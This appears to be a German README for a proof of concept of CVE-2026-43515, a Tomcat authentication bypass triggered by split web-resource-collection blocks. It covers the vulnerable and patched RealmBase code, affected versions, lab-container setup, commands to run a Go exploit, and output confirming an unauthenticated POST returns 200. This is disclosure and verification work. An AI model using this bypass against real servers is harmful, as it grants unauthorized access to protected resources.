
Ausnutzbarkeits-PoC für CVE-2026-43515 (Apache Tomcat Einschränkungsumgehung).
Ausnutzbarkeitsurteil: bestätigt ausnutzbar. Eine POST-Anfrage an eine Ressource, die durch eine geteilte
<web-resource-collection>-Konfiguration geschützt wird, umgeht die Authentifizierung vollständig. Die erforderlicheweb.xml-Struktur ist in Standardbereitstellungen unüblich — siehe Analyse für Details.
CVE-2026-43515 ist eine Schwachstelle in der Auswertungslogik für Sicherheitsbeschränkungen von Apache Tomcat. Wenn ein einzelnes <security-constraint> mehrere <web-resource-collection>-Blöcke definiert, die dasselbe URL-Erweiterungsmuster (z. B. *.html) teilen, aber jeweils eine andere HTTP-Methode deklarieren, erzwingt Tomcat die Beschränkung nur für die im ersten passenden Block deklarierte HTTP-Methode. Alle nachfolgenden Blöcke werden stillschweigend ignoriert.
Die Absicht des Administrators:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Was Tomcat vor dem Fix tatsächlich erzwingt:
GET *.html → 401 — Beschränkung angewendet ✓POST *.html → 200 — Beschränkung stillschweigend ignoriert ✗| Betroffener Bereich | Behoben in |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 | 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
Der Fehler befindet sich in findSecurityConstraints(Request, Context) in org.apache.catalina.realm.RealmBase. Das matched-Flag und der pos-Index wurden außerhalb der Schleife über die Sammlungen deklariert:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
Sobald collection[0] dem Erweiterungsmuster *.html entsprach, wurde pos auf 0 eingefroren. Der Aufruf von findMethod("POST") erfolgte daher gegen collection[0] (das nur GET deklariert) und gab false zurück. Für die POST-Anfrage wurde keine Beschränkung zu results hinzugefügt, und AuthenticatorBase schlussfolgerte, dass die Anfrage keiner Beschränkung unterlag.
Der Fix (Commit 276087d) verschiebt matched in die Schleife und ersetzt collection[pos] durch collection[j], sodass jede Sammlung unabhängig ausgewertet wird:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
Die Umgehung ist bestätigt und reproduzierbar. Das verbose Log von Tomcat macht den Mechanismus eindeutig:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
Die Schwachstelle wird nur unter einem bestimmten web.xml-Muster ausgelöst: einem einzelnen <security-constraint> mit mehreren <web-resource-collection>-Blöcken, die dasselbe Erweiterungsmuster teilen, aber unterschiedliche HTTP-Methoden deklarieren.
Diese Konfiguration ist gemäß der Servlet-Spezifikation gültig, aber in der Praxis unüblich. Die meisten Bereitstellungen entweder:
<http-method> (schützt alle Methoden), oder<security-constraint>-Blöcke pro MethodeBereitstellungen, die das geteilte Sammlungsmuster verwenden, um detaillierte zugriffsbezogene Methodensteuerung auf Erweiterungsmuster anzuwenden, sind gefährdet.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| Tool | Version | Hinweise |
|---|---|---|
| Podman | ≥ 4.0 | Docker funktioniert auch |
| Go | ≥ 1.22 | Zum lokalen Ausführen des Exploits |
Keine externen Go-Abhängigkeiten.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Warten Sie einige Sekunden und überprüfen Sie:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Verfügbare Flags:
| Flag | Standard | Beschreibung |
|---|---|---|
-target | http://localhost:8080 | Tomcat-Basis-URL |
-path | /protected/secret.html | Pfad der geschützten Ressource |
-username | validuser | Gültiger Benutzername für den Plausibilitätstest |
-password | s3cret! | Passwort für den Plausibilitätstest |
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE